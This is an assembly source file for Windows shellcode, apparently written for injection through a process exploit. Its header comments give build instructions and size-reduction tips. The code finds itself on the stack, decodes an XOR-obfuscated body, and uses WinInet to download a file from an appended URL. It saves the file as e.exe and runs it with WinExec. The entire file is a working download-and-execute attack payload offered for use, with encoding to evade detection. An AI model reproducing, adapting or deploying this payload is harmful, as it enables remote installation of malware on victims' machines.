;
; httpg.asm - uses the WinInet module to download and execute a file.
; orcrist@elf.box.sk
; http://orcrist.box.sk/
;
; assembles to 432 bytes with NASM 0.97
; nasmw -s -fbin httpg.asm -o httpg
;
; LoadLibrary and GetProcAddress must be present in the target process's
; import table.
;
; If size is of paramount importance, you can reduce the payload's size by:
; - stripping off any error checking.
; - calling additional procedures from the process's import table, rather
;   than loading them in with the payload's procedure table.
; - Take chances with overflow problems by using 8-bit and 16-bit registers.
;

        XOR_BYTE                        EQU     0x98
        SIG_DWORD                       EQU     "pnda"
        READ_BUF_SIZE                   EQU     100

        ; These will have to be modified.
        LOADLIBRARY_PTR                 EQU     0x414180
        GETPROCADDRESS_PTR              EQU     0x41415c
        EXITPROCESS_PTR                 EQU     0x41416c

        ; Kernel32 stuff.        
        CREATE_ALWAYS                   EQU     2
        GENERIC_WRITE                   EQU     0x40000000
        INVALID_HANDLE_VALUE            EQU     -1
        SW_SHOWNORMAL                   EQU     1

        ; Used in the procedure table.
        PT_NEXT_MODULE                  EQU     0xf1
        PT_END_TABLE                    EQU     0xf0

        BITS 32
        ORG 0x0

; Find the base of this piece of code on the stack.
        mov     ebx,esp
        mov     ecx,0x2001ffff
        shr     ecx,16
        sub     ebx,ecx
SigSearchRep:
        inc     ebx
        cmp     DWORD [ebx],SIG_DWORD
        jne     SigSearchRep
        xor     ecx,ecx
        mov     cl,0xf
        sub     bx,cx
        mov     esi,ebx
        add     ebx,(XorBegin + 0x1010101)
        sub     ebx,0x1010101

; Decode the payload.
        xor     ecx,ecx
        mov     cx,(XorEnd - XorBegin)
XorRep:
        xor     [ebx],BYTE XOR_BYTE
        inc     ebx
        loop    XorRep

; From here to XorEnd must be xor'd with XOR_BYTE after assemblage.
XorBegin:
        cld

        jmp     Start
ExitA:
        call    DWORD [EXITPROCESS_PTR]
Start:
; Load modules and procedures in from table.
        lea     edi,[(ProcTable - 1) + esi]
        xor     ebp,ebp
NextModule:
        inc     edi
        push    edi
        call    DWORD [LOADLIBRARY_PTR]
        cmp     eax,ebp ; 0
        je      ExitA
        mov     ebx,eax
NextProc:
        xor     al,al
        mov     ecx,esp
        repne   scasb
        cmp     BYTE [edi],PT_NEXT_MODULE
        je      NextModule
        cmp     BYTE [edi],PT_END_TABLE
        je      ModuleInit_End
        push    edi
        push    ebx
        call    DWORD [GETPROCADDRESS_PTR]
        cmp     eax,ebp ; 0
        je      ExitA
        mov     [edi],eax
        add     di,4
        jmp     NextProc
ModuleInit_End:

        push    ebp ; 0
        push    ebp ; 0
        push    ebp ; 0
        push    ebp ; 0
        mov     ecx,ebp
        lea     ecx,[WinInet_InternetOpen + esi]
        call    [ecx] ; InternetOpenA
        cmp     eax,ebp
        je      ExitA
        mov     ebx,eax ; ebx now points at an 'internet session'.

        push    ecx
        push    ebp ; 0
        push    ebp ; 0
        push    ebp ; 0
        lea     ecx,[szUrl + esi]
        push    ecx
        push    ebx
        lea     ecx,[WinInet_InternetOpenUrl + esi]
        call    [ecx] ; InternetOpenUrlA
        cmp     eax,ebp
        je      ExitA
        mov     ebx,eax

        push    ebp
        push    ebp
        push    DWORD CREATE_ALWAYS
        push    ebp
        push    ebp
        push    DWORD GENERIC_WRITE
        lea     ecx,[szTempFile + esi]
        push    ecx
        lea     ecx,[Kernel32_CreateFile + esi]
        call    [ecx] ; CreateFileA
        cmp     eax,ebp
        je      Exit
        mov     edi,eax

DownloadWriteLoop:
        lea     ecx,[dwBytesWritten + esi]
        push    ecx
        push    DWORD READ_BUF_SIZE
        lea     ecx,[pBuffer + esi]
        push    ecx
        push    ebx
        lea     ecx,[WinInet_InternetReadFile + esi]
        call    [ecx] ; InternetReadFile
        lea     ecx,[dwBytesWritten + esi]
        cmp     DWORD [ecx],ebp
        je      DownloadWriteLoopEnd

        push    ebp
        lea     ecx,[dwBytesWritten + esi]
        push    ecx
        push    DWORD [ecx]
        lea     ecx,[pBuffer + esi]
        push    ecx
        push    edi
        lea     ecx,[Kernel32_WriteFile + esi]
        call    [ecx] ; WriteFile
        jmp     DownloadWriteLoop
DownloadWriteLoopEnd:

        push    edi
        lea     ecx,[Kernel32_CloseHandle + esi]
        call    [ecx] ; CloseHandle

        push    DWORD SW_SHOWNORMAL
        lea     ecx,[szTempFile + esi]
        push    ecx
        lea     ecx,[Kernel32_WinExec + esi]
        call    [ecx] ; WinExec

Exit:
        call    DWORD [EXITPROCESS_PTR]

; Table containing procedures and modules to be loaded.
ProcTable:
        db      "wininet",0
WinInet_InternetOpen:
        db      "InternetOpenA",0
WinInet_InternetOpenUrl:
        db      "InternetOpenUrlA",0
WinInet_InternetReadFile:
        db      "InternetReadFile",0
        db      PT_NEXT_MODULE
        db      "kernel32",0
Kernel32_CreateFile:
        db      "CreateFileA",0
Kernel32_WriteFile:
        db      "WriteFile",0
Kernel32_CloseHandle:
        db      "CloseHandle",0
Kernel32_WinExec:
        db      "WinExec",0
        db      PT_END_TABLE

szTempFile:
        db      "e.exe",0
dwBytesWritten:
        dd      0
szUrl: ; Url to download goes here.
pBuffer:
XorEnd:


